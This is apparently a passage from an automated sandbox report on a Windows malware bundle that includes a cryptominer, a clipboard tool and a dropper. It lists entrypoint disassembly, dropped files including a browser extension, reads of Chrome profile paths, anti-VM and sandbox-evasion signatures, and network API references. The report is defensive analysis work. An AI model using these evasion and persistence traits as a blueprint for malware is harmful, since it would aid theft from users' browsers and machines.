0x20,cmp qword ptr [rip + 0x11cda6], -1,mov rbx, rcx,jne 0x140295ea6,call 0x14028bc74,jmp 0x140295eb5,mov rdx, rbx,lea rcx, [rip + 0x11cd90],call 0x14028bbf0,xor edx, edx,test eax, eax,cmove rdx, rbx,mov rax, rdx,add rsp, 0x20," "205795_build_x64.exe.part" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140049400,add rsp, 0x28,jmp 0x140048ba0,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,mov ecx, 2,int 0x29,ret ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,sub rsp, 0x28,mov r8, qword ptr [r9 + 0x38],mov rcx, rdx,mov rdx, r9,call 0x140048d70,mov eax, 1,add rsp, 0x28,ret ,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x18], rsi,push rdi,sub rsp, 0x20,movsxd rsi, dword ptr [r8],mov rdi, rcx,test sil, 4," "sysdropfa.exe" file has an entrypoint instructions - "call 0x401e68,jmp 0x401826,mov edi, edi,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],mov eax, dword ptr [eax],cmp dword ptr [eax], 0xe06d7363,jne 0x401b2c,cmp dword ptr [eax + 0x10], 3,jne 0x401b2c,mov eax, dword ptr [eax + 0x14],cmp eax, 0x19930520,je 0x401b27,cmp eax, 0x19930521,je 0x401b27,cmp eax, 0x19930522,je 0x401b27,cmp eax, 0x1994000,jne 0x401b2c,call 0x401efe,xor eax, eax,pop ebp,ret 4,push 0x401af0,call dword ptr [0x403064],xor eax, eax,ret ,jmp dword ptr [0x4030e4],push 0x14,"4c:Te1c,Observed system executable string:"%WINDIR%\system32\inetsrv\iisres.dll" [Source: 00000000-00000700-00000C2B-2030076337] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\WorkflowServiceHostPerformanceCounters.dll" [Source: 00000000-00000700-00000C2B-2030103977] Observed system executable string:"%WINDIR%\system32\iphlpsvc.dll" [Source: 00000000-00000700-00000C2B-2031100730] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ServiceModelPerformanceCounters.dll" [Source: 00000000-00000700-00000C2B-2031483746] Observed system executable string:"%WINDIR%\system32\umpoext.dll" [Source: 00000000-00000700-00000C2B-2031597698] Observed system executable string:"%WINDIR%\system32\WindowsPowerShell\v1.0\PSEvents.dll" [Source: 00000000-00000700-00000C2B-2031938373] Observed system executable string:"%WINDIR%\system32\advapi32res.dll" [Source: 00000000-00000700-00000C2B-2032650736] Observed system executable string:"%WINDIR%\system32\w32time.dll" [Source: 00000000-00000700-00000C2B-2032842798] Observed system executable string:"%WINDIR%\system32\appvetwclientres.dll" [Source: 00000000-00000700-00000C2B-2032924343] Observed system executable string:"%WINDIR%\system32\eqossnap.dll" [Source: 00000000-00000700-00000C2B-2032962901] Observed system executable string:"%WINDIR%\system32\mprddm.dll" [Source: 00000000-00000700-00000C2B-2033042975] Observed system executable string:"%WINDIR%\System32\perfos.dll" [Source: 00000000-00000700-00000C2B-2046275197] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00001552-00000C2E-494573224] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00001552-00000C2B-2047644106] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00001552-00000C2B-2047737956] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00001552-00000C2B-2047820952] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00001552-00000C2B-2047988366] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00001552-00000C2B-2048066687] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00001552-00000C2B-2048112510] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00001552-00000C2B-2048193449] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00001552-00000C2B-2048274869] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00001552-00000C2B-2048314492] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00001552-00000C2B-2048392835] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00001552-00000C2B-2048653097] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00001552-00000C2B-2048743700]4d:T656,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "file") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "file") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "file") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "file") Found reference to API "LoadLibraryA() failed" (Indicator: "LoadLibrary"; File: "file") Found reference to API "kernel32.dllLoadLibraryACoInitializeExCoCreateInstanceCoSetProxyBlanketCreateFileAWriteFileCloseHandleinjection failed: all IIDs exhaustedinjection returned emptyck_.bin" (Indicator: "LoadLibrary"; File: "file") Found reference to API "LoadLibraryA() failed" (Indicator: "LoadLibrary"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "kernel32.dllLoadLibraryACoInitializeExCoCreateInstanceCoSetProxyBlanketCreateFileAWriteFileCloseHandleinjection failed: all IIDs exhaustedinjection returned emptyck_.bin" (Indicator: "LoadLibrary"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")4e:T16dc,"sysmgnrsv.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 10 sections"- [targetUID: N/A] "205793_build.exe.part" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "205792_clip.exe.part" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "installer.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 9 sections"- [targetUID: N/A] "205795_build_x64.exe.part" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "sysdropfa.exe" has type "PE32 executable for MS Windows 5.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "205793_build.exe.log" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "ck_700_1786568180296664000.bin" has type "zlib compressed data"- [targetUID: N/A] "ck_700_1786568186825132500.bin" has type "data"- [targetUID: N/A] "MGCjDjrNEZfd" has type "SQLite 3.x database user version 9 (0x9) last written using SQLite version 3020001 page size 32768 writer version 2 read version 2 file counter 4 database pages 4 cookie 0x2 schema 4 UTF-8 version-valid-for 4"- [targetUID: N/A] "x25jZQEidye7" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 8 database pages 114 cookie 0x43 schema 4 UTF-8 version-valid-for 8"- [targetUID: N/A] "archive.zip" has type "Zip archive data made by v3.1 extract using at least v2.0 last modified Aug 08 2026 15:59:42 uncompressed size 337920 method=deflate"- [targetUID: N/A] "Y52sIWhuxpeC" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 6 database pages 75 cookie 0x2d schema 4 UTF-8 version-valid-for 6"- [targetUID: N/A] "nn8FAbXGq9Y5" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 1 database pages 25 cookie 0xe schema 4 UTF-8 version-valid-for 1"- [targetUID: N/A] "HETytwWg5iNV" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 1 database pages 20 cookie 0xb schema 4 UTF-8 version-valid-for 1"- [targetUID: N/A] "Secure Preferences.tmp" has type "JSON text data"- [targetUID: N/A] "8EgX66v5jVHL" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 12 database pages 8 cookie 0x5 schema 4 UTF-8 version-valid-for 12"- [targetUID: N/A] "Preferences.tmp" has type "ASCII text with very long lines (22183) with no line terminators"- [targetUID: N/A] "RHJkepTfcErZ" has type "SQLite 3.x database last written using SQLite version 3050004 file counter 6 database pages 5 cookie 0x3 schema 4 UTF-8 version-valid-for 6"- [targetUID: N/A] "background.ts-D6ogNSgd.js" has type "Unicode text UTF-8 text with very long lines (15789)"- Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\assets\background.ts-D6ogNSgd.js]- [targetUID: 00000000-00000700] "Preferences.tmp" has type "JSON text data"- [targetUID: N/A] "128.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons\128.png]- [targetUID: 00000000-00000700] "config" has type "data"- [targetUID: N/A] "content.ts-B6XGI__y.js" has type "JavaScript source ASCII text with very long lines (2259)"- Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\assets\content.ts-B6XGI__y.js]- [targetUID: 00000000-00000700] "48.png" has type "PNG image data 48 x 48 8-bit/color RGBA non-interlaced"- Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons\48.png]- [targetUID: 00000000-00000700] "manifest.json" has type "JSON text data"- Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\manifest.json]- [targetUID: 00000000-00000700] "32.png" has type "PNG image data 32 x 32 8-bit/color RGBA non-interlaced"- Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons\32.png]- [targetUID: 00000000-00000700] "16.png" has type "PNG image data 16 x 16 8-bit/color RGBA non-interlaced"- Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons\16.png]- [targetUID: 00000000-00000700] "icon.png" has type "PNG image data 200 x 200 1-bit colormap non-interlaced"- Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icon.png]- [targetUID: 00000000-00000700] "StartupProfileData-NonInteractive" has type "data"- [targetUID: N/A] "service-worker-loader.js" has type "JavaScript source ASCII text"- Location: [%LOCALAPPDATA%\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\service-worker-loader.js]- [targetUID: 00000000-00000700] "executed_tasks.json.tmp" has type "JSON text data"- [targetUID: N/A] "installer.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "xmrig_1_.exe" has type "Unknown"- [targetUID: N/A] "205794_Miner.exe.part" has type "PE32 executable for MS Windows 5.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "cd_700_1786568188773844200.db" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 1 database pages 25 cookie 0xe schema 4 UTF-8 version-valid-for 1"- [targetUID: N/A] "cd_700_1786568183941485500.db" has type "SQLite 3.x database last written using SQLite version 3050004 page size 2048 file counter 1 database pages 20 cookie 0xb schema 4 UTF-8 version-valid-for 1"- [targetUID: N/A]4f:T58b,"file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "file.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "")50:Tb25,"file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "FILE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "OOBEINPROGRESS"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "")51:T68f,"file.exe" reads file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\assets\background.ts-d6ognsgd.js" "file.exe" reads file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\assets\content.ts-b6xgi__y.js" "file.exe" reads file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\icon.png" "file.exe" reads file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\icons\128.png" "file.exe" reads file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\icons\16.png" "file.exe" reads file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\icons\32.png" "file.exe" reads file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\icons\48.png" "file.exe" reads file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\manifest.json" "file.exe" reads file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\service-worker-loader.js" "file.exe" reads file "c:\windows\system32\perfc009.dat" "file.exe" reads file "c:\windows\system32\perfh009.dat" "powershell.exe" reads file "c:\windows\system32\windowspowershell\v1.0\powershell.exe.config"52:T4b7,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Able to identify virtual environment by using API string Matched sigs: Able to detect virtual machine (string) Matched sigs: Attempts to detect virtual machine (file access) Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Able to perform sandbox evasion using APIs Matched sigs: The input sample contains a known anti-VM trick Matched sigs: Contains ability to detect virtual environment (API) Matched sigs: Contains ability to query volume size Matched sigs: Contains ability to delay the execution of current thread Matched sigs: Makes a code branch decision directly after an API that is environment aware53:Tded,"file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\ActorSafetyLists\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\AmountExtractionHeuristicRegexes\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\AutofillStates\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\BrowserMetrics\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CertificateRevocation\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CommerceHeuristics\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\component_crx_cache\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\CookieReadinessList\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crashpad\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Crowd Deny\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\extensions_crx_cache\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\FileTypePolicies\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\FirstPartySetsPreloaded\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\GrShaderCache\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\HistorySearch\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\hyphen-data\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\MEIPreload\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OnDeviceHeadSuggestModel\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OpenCookieDatabase\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OptimizationHints\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\OriginTrials\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PKIMetadata\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PlatformExperienceHelperMetrics\SECURE PREFERENCES" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PrivacySandboxAttestationsPreloaded\SECURE PREFERENCES"54:Taf1,"file.exe" writes file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\assets\background.ts-d6ognsgd.js" "file.exe" writes file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\assets\content.ts-b6xgi__y.js" "file.exe" writes file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\icon.png" "file.exe" writes file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\icons\128.png" "file.exe" writes file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\icons\16.png" "file.exe" writes file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\icons\32.png" "file.exe" writes file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\icons\48.png" "file.exe" writes file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\manifest.json" "file.exe" writes file "c:\users\%osuser%\appdata\local\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\service-worker-loader.js" "file.exe" writes file "%localappdata%\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\assets\background.ts-d6ognsgd.js" "file.exe" writes file "%localappdata%\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\assets\content.ts-b6xgi__y.js" "file.exe" writes file "%localappdata%\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\icon.png" "file.exe" writes file "%localappdata%\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\icons\128.png" "file.exe" writes file "%localappdata%\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\icons\16.png" "file.exe" writes file "%localappdata%\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\icons\32.png" "file.exe" writes file "%localappdata%\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\icons\48.png" "file.exe" writes file "%localappdata%\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\manifest.json" "file.exe" writes file "%localappdata%\packages\extensions\33ba5e6cffdea17102bea5ca0ed819099f195dd63265a2d5454e335187228cee\e0\service-worker-loader.js"55:T5c0,Found reference to API "WSASend" (Indicator: "WSASend"; File: "file") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; File: "file") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; File: "file") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; File: "file") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "file") Found reference to API "Handle %1 created by InternetOpenURL: SessionHandle=%2,URL=%4, Headers=%6, Flags=%7" (Indicator: "InternetOpen"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "Handle %1 created by InternetConnect: SessionHandle=%2, Server=%4:%5, %7, Flags=%8" (Indicator: "InternetConnect"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "Request handle %1 created by HttpOpenRequest: ConnectionHandle=%2, %4, Target=%6, Ver=%8, Referrer=%10, Media types=%12, Flags=%13" (Indicator: "HttpOpenRequest"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "nslookup: WSAStartup:%0" (Indicator: "WSAStartup"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")56:T1067,Found reference to API "WSACleanup" (Indicator: "wsacleanup"; File: "file") Found reference to API "WSAGetLastError" (Indicator: "wsagetlasterror"; File: "file") Found reference to API "WSAStartup" (Indicator: "wsastartup"; File: "file") file/memory contains long string with (Indicator: " connect "; File: "file") Found reference to API "tcp open errortcp set_nonblocking errortcp bind local error" (Indicator: " bind "; File: "file") Found reference to API "received unexpected shutdown ping" (Indicator: " shutdown "; File: "file") Found reference to API "Network unreachabletcp connect error" (Indicator: " connect "; File: "file") Found reference to API "invalid socket address" (Indicator: " socket "; File: "file") Found reference to API "Can not set property at runtime.rCan't move focus to the control because it is invisible, not enabled, or of a type that does not accept the focus." (Indicator: " accept "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found reference to API "and will send the form data without encrypting it for privacy." (Indicator: " send "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") file/memory contains long string with (Indicator: " send "; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") 